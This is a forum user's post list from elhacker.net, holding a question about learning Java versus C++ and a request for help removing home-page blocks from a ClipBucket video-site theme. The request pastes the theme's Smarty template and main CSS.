elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: [1] 2
1  Programación / Programación General / Java o C++? en: 15 Febrero 2012, 12:27 pm
Buenas, me han ofrecido un suculento curso de Java... el problema es que yo quiero aprender C++, pero ahora bien si Java me va a ser útil para que en un futuro pueda aprender C++ y exista una buena oferta en el mercado estaría interesado en hacer dicho curso.

¿Es viable aprender Java? ¿Me servirá para luego aprender C++?
2  Programación / Desarrollo Web / Ayuda editando theme clipbucket en: 15 Julio 2011, 14:22 pm
Buenas, tengo una web hecha en clipbucket, y me gustaría saber como quitar de la página principal los siguientes bloques:




Aquí el codigo fuente de los archivos Index.html y el main .css

Index.html

Código:
<div class="content_con clearfix">
	<!--FEATURE_CON--> 
    {if is_installed('editorspick')}
    <div class="feature_con clearfix">
    	<div class="feature_left" id="ep_video_container">
        	{section name=e_list loop=$editor_picks max=1}
            	{include file="$style_dir/blocks/editor_pick/video_block.html" video=$editor_picks[e_list]}
            {sectionelse}
            	<div style="font-size:11px;padding:10px;">
                	There is no video in editor's pick, Please Add Videos In Editor's Pick<br />
					Videos Manager > Add to editor's pick
                </div>
            {/section}
        </div>
        <div class="feature_right">
        	{section name=e_list loop=$editor_picks}
            	{include file="$style_dir/blocks/editor_pick/index_featured_video.html" video=$editor_picks[e_list]}
            {/section}
        </div>
    </div>
    <div class="feature_shadow" ></div>
    <!--FEATURE_CON END-->
    {/if}
    
    <div class="ad">{AD place='ad_468x60'}</div>
    
    {if isSectionEnabled('videos') ||  isSectionEnabled('photos')}
    	{include file="$style_dir/blocks/subscriptions.html"}
  	{/if}
    
    {if isSectionEnabled('videos')}
    <div class="tabs">
        <ul>
            <li class="selected"><a href="javascript:void(0)" id="watched" onclick="get_video('recent_viewed_vids','#index_vid_container')">{lang code='being_watched'}</a></li>
            <li><a href="javascript:void(0)" id="most_watched" onclick="get_video('most_viewed','#index_vid_container')">{lang code='most_viewed'}</a></li>
            <li><a href="javascript:void(0)" id="recently_watched" onclick="get_video('recently_added','#index_vid_container')">{lang code='recently_added'}</a></li>
       </ul>    	
    </div> <!--TABS END-->
    <div class="main_vids clearfix">
    	<div id="style_change">
			<div id="grid" onclick="ToggleView(this);" title="Change To Grid Style"></div> 
			<div id="list" onclick="ToggleView(this);" title="Change to List Style"></div>
			{lang code='change_style_of_listing'} 
		</div> <!--STYLE_CHANGE END-->
             
       <div id="index_vid_container">
       
       </div>
        

    </div> <!--MAIN_VIDS END-->
    <div class="main_vid_shadow"></div>
    <div style="height:5px;"></div>
    {/if}
    {if isSectionEnabled('photos')}
     <div class="tabs">
        <ul>
            <li class="selected"><a href="javascript:void(0)" id="watched" onclick="getAjaxPhoto('last_viewed','#index_pho_container')">{lang code='being_watched'}</a></li>
            <li><a href="javascript:void(0)" id="most_watched" onclick="getAjaxPhoto('most_viewed','#index_pho_container')">{lang code='most_viewed'}</a></li>
            <li><a href="javascript:void(0)" id="recently_watched" onclick="getAjaxPhoto('most_recent','#index_pho_container')">{lang code='recently_added'}</a></li>
            <li><a href="javascript:void(0)" id="recently_watched" onclick="getAjaxPhoto('most_downloaded','#index_pho_container')">{lang code='most_downloaded'}</a></li>
       </ul>    	
    </div> <!--TABS END-->
    <div class="main_vids clearfix">
    
       <div id="index_pho_container">
       
       </div>
        

    </div> <!--MAIN_VIDS END-->
     <div class="main_vid_shadow"></div>
     <div style="height:5px;"></div>
    {/if}
</div> <!--CONTENT_CON END-->

<div class="side_con">

	<!-- Displaying 300x250 Advertisment -->
    {AD place=ad_300x250}   
    
	{if !$userquery->login_check('',true)}
    <div class="login">
        	<div class="login_title">{lang code='website_members' assign='websitemems'}{$websitemems|sprintf:$title}</div>
            <div class="some_info">{lang code='guest_homeright_msg'}</div>
            <div class="regist_link"><a href="{link name='signup'}">{lang code='reg_for_free'}</a></div>
            <div class="login_link"><a href="{link name='signup'}">{lang code='login'}</a></div>
    </div> <!--BOX END-->
    {/if}
 

    
    
    {if isSectionEnabled('videos')}
    <!-- Getting Random videos -->
    {assign var=videos_items_columns value=func->config(videos_items_columns)}
    {get_videos assign=ran_vids limit=$videos_items_columns order=RAND()}
    
    {if $ran_vids}
    <div style="width:300px; margin:auto">
    <span class="watch_vids_head" onclick='$(this).toggleClass("watch_vids_head_closed");$("#rand_vids").slideToggle("fast")'>{lang code='rand_vids'}</span>
    <div class="watch_vids_cont" id="rand_vids" style="background-color:#FFF">
    {section name=uvlist loop=$ran_vids}
        {include file="$style_dir/blocks/watch_video/video_box.html" video=$ran_vids[uvlist]}
    {/section}
    <div class="clearfix"></div>
    </div>
    <div style="height:10px"></div>
    </div>
    {/if}
    {/if}
    
    {if isSectionEnabled('photos')}
    <!-- Getting Random videos -->
    {assign var=limit value=func->config(photo_other_limit)}
    {get_photos assign=ran_ph limit=$limit order=RAND()}
    
    {if $ran_ph}
    <div style="width:300px; margin:auto">
    <span class="watch_vids_head" onclick='$(this).toggleClass("watch_vids_head_closed");$("#rand_fotos").slideToggle("fast")'>{lang code='rand_photos'}</span>
    <div class="watch_vids_cont" id="rand_fotos" style="background-color:#FFF">
    {section name=plist loop=$ran_ph}
        {include file="$style_dir/blocks/photo.html" photo=$ran_ph[plist] display_type="side_photos"}
    {/section}
    <div class="clearfix"></div>
    </div>
    <div style="height:10px"></div>
    </div>
    {/if}
    {/if} 
    
    {if isSectionEnabled('channels')}
	<div class="box">
   	  <div class="top_bg">
        	<h2>{lang code='t_10_users'}</h2>
            {get_users assign=topusers limit=10 order=' total_videos DESC '}

            {section name=tusers loop=$topusers}
        <div class="top_user">
        <div class="user_no">{$smarty.section.tusers.iteration}</div>
                <div class="avatar"><a href="{$userquery->profile_link($topusers[tusers])}"><img src="{$userquery->getuserthumb($topusers[tusers],'small')}" width="30" height="30" border="0" class="vsmall_thumb" /></a></div>
                <div class="utitle"><a href="{$userquery->profile_link($topusers[tusers])}">{$topusers[tusers].username}</a>{lang code='views'} : {$topusers[tusers].profile_hits|number_format} - {lang code='videos'} : {$topusers[tusers].total_videos|number_format}
				</div>
            <div class="clearfix"></div>  
            </div>
            {/section}            
        </div>
    </div>
    {/if}
     <!--BOX END-->
    
</div> <!--SIDE_CON END-->


Ahora el main css

[code]/* 
ClipBucket 'ClipBucket v2(New)' Template Theme by Fawaz Tahir
--------------------------------------------------------------
Style name:      ClipBucket v2(New)
--------------------------------------------------------------
*/

@import url("view_channel.css");
@import url("rating.css");

body,html {background-color:#fff; margin:0px; padding:0px;
font-family:Arial, Helvetica, sans-serif; color:#333; font-size:11px;
word-wrap:break-word;}

#content{}
/* CLEARS */
.clearfix { }
.clearfix:after{ content: "."; display:block; height:0; font-size:0; clear:both; visibility:hidden;  }

/* GENERAL CSS */
a{ color:#0066cc; text-decoration:underline; outline:none; }
a:hover,a:active { /*color:#464646; */ color:#d54e21; outline:none;  }
a[rel=sponsors] { padding:5px; background:#0099cc; border:1px solid transparent; }
a[rel=sponsors]:hover { background:#555; border:1px solid #232323; }
img, a img { border:0px none; }
.video_thumb { background:#FFF; border:1px solid #ccc; padding:1px; float:left; margin-right:5px; margin-bottom:5px; position:relative }
.video_thumb .duration{ position:absolute; right:1px; bottom:1px; background-color:#333; color:#fff; font-size:9px; display:inline; padding:1px}
.video_thumb:hover { border:1px solid #aaa; }
.vid_sp { padding:5px 0px; margin-bottom:10px; border-bottom:1px solid #ccc; clear:both; }

.moveL { float:left; }
.moveR { float:right; }

.heading{font-size:12px; color:#003; background-image:url(../images/nav_grads.png); background-position:-0px -195px; background-repeat:repeat-x; height:28px; display:block; color:#fff; line-height:28px; font-weight:bold; padding-left:5px;
}



/**
Rating
*/
.rating{width:50px;height:15px;}
.rating .stars_blank { background:url(../images/small_stars.png) ;background-repeat:repeat-x; background-position:bottom; height:12px; width:100%; }
.rating .stars_filled { background:url(../images/small_stars.png);background-repeat:repeat-x; background-position:top left; height:12px; float:left; }

.viewCollectionRating { width:140px; height:28px; }
.viewCollectionRating .stars_blank { background:url(../images/big_stars.png) ;background-repeat:repeat-x; background-position:bottom; height:28px; width:100%; }
.viewCollectionRating .stars_filled { background:url(../images/big_stars.png);background-repeat:repeat-x; background-position:top left; height:28px; float:left; }

.big_stars{width:140px; height:28px; position:relative}
.big_stars .stars_blank { background:url(../images/big_stars.png) ;background-repeat:repeat-x; background-position:bottom; height:28px; width:100%; }
.big_stars .stars_filled { background:url(../images/big_stars.png);background-repeat:repeat-x; background-position:top left; height:28px; float:left; }
.big_stars li:hover,.big_stars .stars_highlight{background:url(../images/big_stars.png);background-repeat:repeat-x; background-position:center left; height:28px; float:left;}

.big_stars ul{position:absolute; top:0px; left:0px}
.big_stars ul, .big_stars ul li{margin:0px; padding:0px; list-style:none; float:left; }
.big_stars li{display:block; float:left; width:28px; cursor:pointer; text-indent:-50000px}
.big_stars li:hover{}

/* CONTAINERS */
.container_container{}
.container { width:1000px; margin:0px auto; padding:0px; position:relative; }
.topHead{background:#FFF !important}
.content_con { width:660px; margin:0px auto; padding:0px; float:left; margin-left:8px; }
.login_con { width:325px; float:right; margin:0px; padding:0px; position:absolute; top:0px; right:0px; z-index:999; }
.side_con { top repeat-x; width:305px; min-height:391px; margin:0px 8px 0px 0px; padding:5px; float:right; }
.feature_con { background:url(../images/simple_gradient.png) bottom repeat-x; border:2px solid #ccc; background-color:#fff; min-height:287px; padding-bottom:4px;border-radius:5px;-webkit-border-radius:5px;-moz-border-radius:5px;}
.search_con { float:right; margin:0px; padding:0px;margin-right:4px; margin-top:3px;  }
.foot_s_con { width:500px; margin:10px auto 0px; padding:10px 0px 0px; }

/* HEADER */
#header { margin:0px 0px 15px; padding:1px 0px 0px 5px; }

/* LOGO */
.logo { background:url(../images/logo.png) left bottom no-repeat; float:left; margin:2px 2px 10px 3px; padding:0px; }

/* LOGIN FORM */
#user_login{ background:url(../images/log_button.png) top repeat-x; border:1px solid #ccc; padding:0px 8px; margin:0px auto; height:25px; line-height:25px; border-top:0px none; position:relative; bottom:1px; float:right; margin-right:15px; -moz-border-radius-bottomright:5px; -webkit-border-bottom-right-radius:5px; z-index:2000; overflow:hidden; }
#user_login a { display:block; text-decoration:none; text-align:center; text-shadow:1px 1px 1px #FFF; color:#555; text-transform:uppercase; }
#user_login a:hover { color:#aaa; }
.user_login {  background:#f3f3f3; border:1px solid #ccc; border-top:0px none; margin-right:5px; padding:2px 5px; margin:0px; margin-right:10px; position:relative; z-index:1100;}
.user_login input[type=text], .user_login input[type=password] { padding:4px; font-size:11px; margin-bottom:2px; border:1px solid #ccc; background:#fff; color:#aaa; width:125px; font-family:Calibri,Tahoma,Verdana,Arial,sans-serif; }
.user_login input[type=text]:hover, .user_login input[type=password]:hover,
.user_login input[type=text]:focus, .user_login input[type=password]:focus { color:#555; border:1px solid #aaa; }
.user_login input[type=submit] { background:url(../images/login_button.png) top repeat-x; height:23px; border:1px solid #555; padding:0px; line-height:19px; font-size:10px; color:#FFF; text-align:center; width:50px; margin:5px 0px 5px 3px; }
.user_login input[type=submit]:hover { background:url(../images/login_button.png) bottom repeat-x; height:23px; cursor:pointer; border:1px solid #228bb3; }
.user_login input[type=submit]:active { background:#2ba0cd; }
.user_login input[type=checkbox] { width:10px; height:10px; vertical-align:middle; }
.user_login a.forget  { background:url(../images/forget.png) top no-repeat; width:19px; height:19px; margin-top:3px; padding:0px; float:right; }
.user_login a.forget:hover { background:url(../images/forget.png) bottom no-repeat; }
span.remember { font-size:10px;  }
.user_login .avatar { padding:1px; width:40px; height:40px; background:#fff; margin:0px 5px 2px 0px; border:1px solid #ccc; float:left; }
.user_login .avatar:hover { border:1px solid #aaa; }
.user_login .txt { font-size:11px; margin-bottom:8px; }
.user_login .txt a { color:#cc0000; text-decoration:none; padding:1px; }
.user_login .txt a:hover { background:#cc0000; color:#fff; }
.user_login .links { font-size:10px; }

/* TOP TABS */
.top_tabs { margin:0px; padding:0px; clear:both;overflow:hidden;}
.top_tabs ul { margin:0px; padding:0px; list-style:none; float:left; position:relative; left:50%;  }
.top_tabs ul li { margin:0px; padding:0px; float:left; list-style:none; position:relative; right:50%; top:1px; }
.top_tabs ul li a { width:120px; display:block; padding:5px 0px; background:#62b3ff; text-align:center; text-decoration:none; color:#FFF; margin-right:0px; font-size:13px;  background:url(../images/nav_grads.png); background-position:-0px -169px; background-repeat:repeat-x; border-right:1px solid #115683}
.top_tabs ul li a:hover { background:#0099cc; }
.top_tabs ul li.selected a { background:url(../images/nav_grads.png)  -0px -7px; repeat-x; border:1px solid #006699; border-bottom:0px none; font-weight:bold}
.top_tabs ul li:first-child a{ -moz-border-radius-topleft:5px; -webkit-border-top-left-radius:5px;}
.top_tabs ul li:last-child a{ -moz-border-radius-topright:5px; -webkit-border-top-right-radius:5px; border-right:none}

/* NAVIGATION */
#navi_con { background:#14669c; padding:5px; margin:0px; border-top:1px solid #006699; }
.navi { background:url(../images/nav_grads.png) 0px -33px repeat-x; height:35px; border:1px solid #444; margin:auto; padding:0px; line-height:35px; border-radius:5px; -moz-border-radius:5px; -webkit-border-radius:5px; width:1000px}
.navi ul { margin:0px; padding:0px; list-style:none; }
.navi ul li { margin:0px; padding:0px; float:left; padding-left:5px; list-style:none; font-size:11px; height:15px; margin-top:8px ; line-height:15px; padding-left:10px; color:#fff; border-left:1px solid #5f5f5f; padding-right:5px;border-right:1px solid #343434}
.navi ul li:first-child { margin-left:10px; border-left:none; padding-left:0px }
.navi ul li:last-child{border-right:none;}
.navi ul li a { color:#fff; text-decoration:none; font-family:tahoma; font-size:11px; font-weight:bold; text-transform:uppercase }
.navi ul li a:hover{color:#00bfff}
.nav_shadow {  height:10px; margin:0px; margin-top:1px; padding:0px; }

/* SEARCH */
.s_bg { background:url(../images/search.png) no-repeat; width:359px; height:29px; margin:0px; padding:0px; -moz-border-radius:4px 0px 0px 4px; border:1px solid transparent; }
.searchbar { background:none; width:200px; border:none; margin:2px 0px 0px 0px; font-size:11px; color:#323232; font-family:Verdana,Tahoma,sans-serif; float:left; padding:6px 5px 7px; float:left; border-right:1px solid #ccc; }
.searchbutton { background:none; text-indent:-5000px; border:0px; width:59px; height:25px; line-height:18px; cursor:pointer; margin-top:2px; margin-left:5px; font-weight:bold; font-family:tahoma; font-size:11px; }
.s_type { background:url(../images/dot.gif) repeat; float:left; margin:7px 9px 0px 1px; padding:0px 0px; font-size:10px; font-family:Verdana,Arial,sans-serif; border:0px none; color:#323232; width:64px;  }




/* FEATURED VIDEO SECTION */
.feature_left { float:left; margin:0px; padding:0px; width:460px }
.feature_left .feature_heading{background-image:url(../images/nav_grads.png); background-position:0px -417px; height:24px; line-height:24px; color:#fff; text-shadow:0px 0px 8px #000; width:98%; display:block; margin-top:10px;border-radius:0px 8px 8px 0px; -moz-border-radius:0px 8px 8px 0px; -webkit-border-top-right-radius:8px; -webkit-border-bottom-right-radius:8px; padding-left:10px; font-weight:bold; text-transform:uppercase; font-family:Tahoma,Verdana,sans-serif; }
.feature_right { float:right; position:relative; width:28%; margin:4px 3px 0px 0px;font-size:10px; overflow:auto; height:360px;}
.feature_shadow { background:url(../images/shadows.png) 0px -31px no-repeat; width:660px; height:35px; margin:0px; padding:0px; }


/* FEATURED VIDEO HEADING */
.feature_head { background:#88c5ff; width:100%; margin:0px 0px; padding:0px; height:20px; line-height:20px; position:relative; text-align:center; }
.feature_head h2 { font-size:18px; font-family:Tahoma; color:#fff; text-shadow:1px 1px 1px #44627f; }
.feature_head .left_side { background:url(../images/blocks.png) -277px -50px no-repeat; width:10px; height:57px; position:absolute; top:-6px; left:-6px; }
.feature_head .right_side { background:url(../images/blocks.png) -293px -56px no-repeat; width:9px; height:44px; position:absolute; right:-9px; }

/* FEATURED VIDEO LEFT SIDE */
.feature_vid { margin:3px auto; width:350px; padding:0px; font-weight:lighter; }
.feature_left .sp2 { background:url(line_sp2.png) repeat-x; height:2px; margin:6px 0px; padding:0px; }

/* FEATURED VIDEO RIGHT SIDE */
.feature_right ul { margin:0px; padding:0px; list-style:none; }
.feature_right ul li { padding:0px; margin:0px; margin-bottom:3px; color:#193f77; font-size:9px; }
.feature_right .sp { background:url(../images/line_sps.png) top repeat-x; margin:5px 0px; padding:0px; height:2px; }
.feature_right .details_block { float:left; width:50%; margin:0px; padding:0px; color:#999 }
.feature_right .title a{font-size:9px; font-weight:bold; text-decoration:none; color:#fff}
.feature_right .title { font-size:10px; clear:both; padding:0px; overflow:hidden}
.featured_vid_con{cursor:pointer; background:#FFF url(../images/nav_grads.png) -0px -260px; padding:5px; border-radius:5px 0px 0px 5px;-moz-border-radius:5px 0px 0px 5px; -webkit-border-top-left-radius:5px; -webkit-border-bottom-left-radius:5px; background-color:#FFF; margin:3px 0px 3px}
.featured_vid_con .video_thumb{border:0px; padding:0px; float:left; }
.featured_vid_con:hover{background-position:-0px -338px; }
.featured_video_details{width:440px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; background-color:#fff; padding:5px; margin:5px}
.featured_video_player{width:440px; height:250px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; background-color:#000; padding:5px; margin:5px}

/* MAIN VIDEOS BLOCK */
.tabs { background:url(../images/tabs_bg.png) top repeat-x; height:41px; margin:0px; line-height:41px; padding:0px; border:1px solid #ccc; border-radius:5px 5px 0px 0px ;-moz-border-radius:5px 5px 0px 0px ; -webkit-border-top-left-radius:5px; -webkit-border-top-right-radius:5px; }
.tabs ul { margin:0px; padding:0px; list-style:none; }
.tabs ul li { margin:0px; padding:0px 0px; list-style:none; float:left;  }
.tabs ul li a { background:url(../images/tabs_sp.png) right repeat-y; padding:13px 12px 14px; text-decoration:none;  }
.tabs ul li.selected { background:url(../images/tabs_bg.png) bottom repeat-x; }
.tabs ul li.selected a { color:#d36a4a; text-decoration:none; font-weight:bold }

.main_vids { border:1px solid #ccc; border-top:0px none; background:url(../images/main_vid_bg.png) bottom repeat-x; padding:8px; }
.main_vid_shadow { background:url(../images/shadows.png) 0px -152px no-repeat; width:660px; height:6px; margin:0px; padding:0px; }

/* CHANGE LIST STYLE */
#style_change { border-bottom:1px solid #ccc; padding:0px 5px 8px; margin:0px 0px 15px; font-size:10px; color:#232323; }
#style_change a { text-decoration:none; }
#grid { float:right; background:url(../images/blocks.png) -325px -78px no-repeat; padding:1px; border:1px solid #ccc; width:11px; height:11px; }
#list { background:url(../images/blocks.png) -344px -78px no-repeat; padding:1px; border:1px solid #ccc; width:19px; height:11px; float:right; margin-right:10px; }
#grid:hover,#list:hover { cursor:pointer; border:1px solid #aaa; }

/* SOME IMPORTANT CLASSES */
.moveL { float:left; }
.moveR { float:right; }
.clear  { clear:both; }

/* NEW LISTING OF VIDEOS */
#vid_wrap { maring:0px; padding:0px; }

.grid_view { height:150px; padding:0px; width:114px; margin:0px 10px 12px 0px; float:left; }
.list_view { width:100%; border-bottom:1px solid #ccc; height:85px; }
.grid_view a, .list_view a { text-decoration:none; font-weight:bold; }
.grid_view h2.title, .list_view h2.title { font-size:11px; margin:2px 0px 3px 2px; padding:0px;}
.grid_view .vid_info, .list_view .vid_info { font-size:10px; margin:2px 2px; padding:0px; }

.vid_thumb { margin:0px; background:#FFF; position:relative; }
.vid_thumb a img { width:110px; height:66px; border:1px solid #ccc; padding:1px;}
.vid_thumb:hover a img { border:1px solid #aaa; }
.vid_thumb .vid_time { position:absolute; bottom:2px; right:2px; padding:1px; background:#333; font-size:9px; color:#FFF;font-family:tahoma }

.vid_info_wrap { width:100%; display:block; margin:0px; padding:0px; }

.grid_view #desc { display:none; }
.grid_view span.info_list, .grid_view span.list_up_time { display:none; }
.grid_view span.list_commnets { display:none; }

.list_view #desc { display:block; clear:both; font-size:11px; margin:2px 0px 3px 2px; text-align:left; }
.list_view span.info_list, .list_view span.list_up_time { display:inline; }
.list_view span.list_commnets { display:inline; }

.list_view .vid_info_wrap { float:right; width:81%; }
.list_view h2.title { display:inline; float:left; }
.list_view .vid_thumb { float:left; }
.list_view .rating { float:right; }

.vertical a,.horizantal a{text-decoration:none; font-weight:bold}

/* VERTICAL LISTING STYLE */

.vertical { width:118px; margin:0px 6px 10px 0px; padding:0px 0px 10px; float:left; height:150px }

.vertical .details_block { float:none; width:100%;  }
.vertical .lvl1, .vertical .lvl2, .vertical .lvl3, .vertical .lvl4 {  display:block; }

.vertical .lvl1 .title { font-size:11px; }
.vertical .lvl1 .rating { margin-top:5px; width:50px; }
.vertical .lvl2 { display:none; }

.vertical .lvl3 { font-size:10px; }
.vertical .lvl3 .views span { font-weight:lighter; }


.vertical .lvl4 { font-size:10px; }
.vertical .lvl5{display:none}


/* SIDEBAR INDEX */
.box { background:#FFF; border:1px solid #b6e2fe; padding:2px; width:300px; margin:0px auto 10px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }


/* LOGIN/REGISTER BOX */
.login { background:url(../images/main_box.png) repeat-x; height:92px; width:300px; position:relative; margin:auto}
.login_box_cont{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;}
.login .login_title{font-size:12px; font-weight:bold; text-transform:uppercase; font-family:tahoma; color:#0099cc; margin:9px 0px 0px 91px; height:23px; line-height:23px; text-align:center}
.login .some_info{ margin-left:91px; font-size:10px; font-weight:bold; text-transform:uppercase; font-family:tahoma; color:#333; height:30px; padding-top:15px}

.login .regist_link{width:147px; height:16px; background-image:url(../images/main_box.png); background-position:-0px -92px; position:absolute; bottom:7px; left:87px; text-align:center; line-height:16px}
.login .regist_link a{color:#FFF; text-transform:uppercase; text-decoration:none; font-size:10px; font-weight:bold}


.login .login_link{width:54px; height:16px; background-image:url(../images/main_box.png); background-position:-152px -92px; position:absolute; bottom:7px; left:239px; text-align:center; line-height:16px}
.login .login_link a{color:#0099cc; text-transform:uppercase; text-decoration:none; font-size:10px; font-weight:bold}


/* TOP USERS */
.top_bg { background: url(../images/simple_gradient.png) repeat-x bottom; min-height:81px; background-color:#fff; border:1px solid #85a8c8; margin:0px; padding:0px 2px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.top_bg h2 { margin:5px 2px 8px; padding:0px; color:#21759b; font-size:18px; font-family:Tahoma; text-transform:uppercase; font-weight:bold; }
.top_user { background:url(../images/top_user.png) repeat-x; height:35px; border:1px solid #CCC; margin-bottom:15px; font-size:9px; padding:0px 8px; position:relative; background-color:#FFF; color:#666}
.top_user:hover{background-position:bottom}
.top_user a{font-size:12px; font-family:Arial, Helvetica, sans-serif; color:#333; text-decoration:none; font-weight:bold}
.top_user a:hover{color:#0099cc}
.avatar { width:30px; height:30px; padding:0px; margin:2px 5px 0px 20px; vertical-align:super; float:left; border:1px #ccc solid }
.top_user > .user_no { background:url(../images/blocks.png) -231px -56px no-repeat; width:19px; height:45px; position:absolute; top:-5px; left:5px; font-size:11px; color:#FFF; text-shadow:1px 1px 1px #6fa1b7; text-indent:4px; line-height:45px;  }
.top_bg .utitle { margin-top:5px}
.top_bg .utitle  a{display:block}

/* FOOTER SEARCH */
.search_footer { background:url(../images/search_footer.png) repeat-x; height:57px; margin:0px; padding:0px; clear:both; }
.advance { background:url(../images/blocks.png) left -123px no-repeat; width:33px; height:35px; text-indent:-9000px; float:left; margin:2px 6px 0px 0px; padding:0px; }
.foot_s_con form { margin:0px; padding:0px; display:inline; }
.foot_s_con input[type=text] { background:#fff; border:1px solid #CCC;  width:280px; font-family:Verdana,Tahoma,Arial,sans-serif; color:#555; float:left; margin:0px 6px 0px 0px; padding:9px 12px;  }
.foot_s_con input[type=text]:focus { border:1px solid #aaa; }
.foot_s_con input[type=submit] { background:url(../images/foot_search.png) top repeat-x; border:1px solid #555555; height:35px; padding:0px 18px; margin:1px 0px 0px; color:#FFF; font-family:Verdana,Tahoma,Arial,sans-serif; }
.foot_s_con input[type=submit]:hover { background:url(../images/foot_search.png) bottom repeat-x; border:1px solid #228bb3; cursor:pointer; }

/* FOOTER */
#footer { background:#333; padding:10px 0px; margin:0px; }
.footer_sp { background:url(../images/line_sps.png) bottom repeat-x; margin:12px 0px; padding:0px; clear:both; height:2px; }
.footer { padding:0px 8px; margin:5px 0px 0px; font-size:11px; color:#fff; font-weight:bold }
.footer ul { padding:0px; margin:0px; list-style:none; display:inline; float:right}
.footer ul li { margin:0px; margin-right:8px; padding:0px; float:left; list-style:none; border-left:1px solid #999; padding-left:9px}
.footer ul li:first-child{border-left:none}
.footer a { color:#eee; text-decoration:none; }
.footer a:hover { color:#06c; text-shadow:1px 1px 1px #000; }
.footer .footer_copyr{float:left; display:inherit}

/* CHANGER LANGUAGE/TEMPLATE */
.copyright { color:#fff; font-weight:bold; float:right; text-shadow:1px 1px 1px #555; font-size:10px; }
.changer { background:#0099cc; padding:0px 8px; margin:0px; position:relative; height:26px; line-height:24px; }
.changer select { font-size:11px; margin:4px 0px 0px; }
.ch_left { background:url(../images/blocks.png) -278px top no-repeat; width:9px; height:33px; margin:0px; padding:0px; position:absolute; left:-8px; top:0px; }
.ch_right { background:url(../images/blocks.png) -289px top no-repeat; width:9px; height:33px; position:absolute; right:-8px; top:0px; }
.ch_shadow { background:url(../images/shadows.png) top no-repeat; width:1000px; height:9px; margin:0px; padding:0px; }

/* EXAMPLE ADS */
.ads { background:#f3f3f3; width:300px; height:250px; text-align:center; line-height:250px; font-size:15px;  border:1px solid #ccc; }
.ad { width:468px; height:60px; background:#f3f3f3; border:1px solid #ccc; margin:0px auto 25px; padding:0px; text-align:center; font-size:15px; }


/* My ACcount */
.my_account_left{width:180px; float:left; }
.my_account_left ul{margin:0px; padding:0px; display:block;}
.my_account_left li{margin:0px; padding:0px; list-style:none; display:block; margin:5px; margin-left:0px}
.my_account_left .li{font-size:12px; font-weight:bold; display:block; margin-bottom:10px}.my_account_left .li .heading{ display:block; width:170px; background-image:url(../images/blocks.png); background-position:-0px -160px; background-repeat:no-repeat; height:20px; line-height:20px; padding-left:5px; color:#333; margin-left:5px; color:#fff; text-transform:none}
.my_account_left .li li{font-weight:normal; padding-left:5px; border-left:3px #ccc solid; margin-left:5px}
.my_account_left .li li:hover{border-left:3px #999 solid;}
.my_account_left .li a{display:block; text-decoration:none; font-family:tahoma; font-weight:bold; color:#333}
.my_account_left .li a:hover{color:#0066cc}
.account_box{float:right; width:780px;border-left:5px #999 solid; padding-left:10px; margin-right:10px}

.account_option_box{display:block; width:200px; margin:10px; padding:10px;float:left; background-color:#EFF5F8; border-radius:5px; -moz-border-radius:5px;-webkit-border-radius:5px; height:150px;}
.account_option_box .its_title{font-size:13px; font-weight:bold;}
.account_option_box  li{list-style:none; border-bottom:1px dotted #999; padding-bottom:2px; margin-bottom:2px}
.account_option_box ul{margin:0px; padding:0px; display:block; padding-left:15px}
.account_option_box  a{text-decoration:none; font-size:14px}
.account_option_box  a:hover{color:#009}

.account_head_container{border-bottom:1px dotted #CCC; padding-bottom:10px}
.account_thumb{max-height:150px; max-width:150px;border:1px solid #999; padding:3px; display:inline-block;}
.account_thumb_container{margin-left:5px;display:inline-block; float:left; margin-right:10px}
.stats .account_stat{font-size:11px; font-family:tahoma; display:block;}
.stats{ width:300px; float:left}

.account_head_right{float:right}
.pm_box{width:90px; height:70px; background-color:#EFF5F8; border-radius:5px; -moz-border-radius:5px;-webkit-border-radius:5px; display:block}
.pm_box .messages{font-size:10px; font-family:tahoma; font-weight:bold; text-transform:uppercase; color:#333; text-align:center; display:block; padding:6px}
.pm_box {text-align:center; font-size:25px; font-weight:bold}


.account_form fieldset{border:1px solid #ccc;  border-radius:5px; -moz-border-radius:5px;-webkit-border-radius:5px; margin:10px}
.account_form legend{ text-transform:uppercase; font-family:Tahoma; font-weight:bold}
.account_form input, .account_form textarea, .account_form select{border:1px solid #ccc; width:300px; padding:3px;}
.account_form input[type="radio"],.account_form input[type="checkbox"] { display:inline; width:auto}
.account_form select{margin-bottom:10px}

.account_field_block{ border-bottom:1px solid #CCC; margin:5px 0px 5px 0px; padding-bottom:0px; padding-top:5px}
.account_field_block:hover{background-color:#F5F5F5}
.account_field_block .account_field_label{width:200px; float:left}
.account_field_block .account_field{ float:left; width:400px; padding-left:10px; padding-bottom:10px}

.avatar_bg label{margin-top:10px; display:block}

.messages_container{max-height:200px; overflow:auto; padding-bottom:10px; border-bottom:1px dashed #999}

.private_message_container{padding:10px; border-radius:5px; -webkit-border-radius:5px; -moz-border-radius:5px; border:1px solid #CCC; margin-top:15px; }

.unread_msg, .unread_msg a{font-weight:bold; font-family:tahoma;}
.read_msg, .read_msg a{font-weight:normal; font-family:tahoma;}

/**
 my account
 */
.account_table{border:1px solid #c2c2c2; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; background-image:url(../images/gradients.png); background-position:0px -36px; height:19px}
.account_table tr td{border-right:1px solid #c2c2c2; text-indent:10px; font-family:Tahoma; font-size:11px; text-transform:uppercase; font-weight:bold}
.account_table .last_td{border-right:0px}

.account_vid_list{ margin:5px 0px 5px 0px;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; }
.account_vid_list tr td{text-indent:10px; font-family:Tahoma; font-size:11px; text-transform:uppercase; font-weight:bold}
.account_vid_list .last_td{border-right:0px}
.acc_usr_video_thumb{border:1px solid #999; margin:1px; padding:1px; display:block; float:left; width:50px;}

.search_field{background:url(../images/blocks.png); width:150px; height:22px; border:none; padding-left:8px; padding-top:6px; font-size:11px; font-family:tahoma; margin:0px; float:left; background-position:0px -180px}
.search_field_button{background:url(../images/blocks.png); width:25px; height:22px; border:0px; background-position:-160px -180px; padding:0px; margin:0px; text-indent:-50000000px; float:left; cursor:pointer; outline:none}

/**
 * icons */
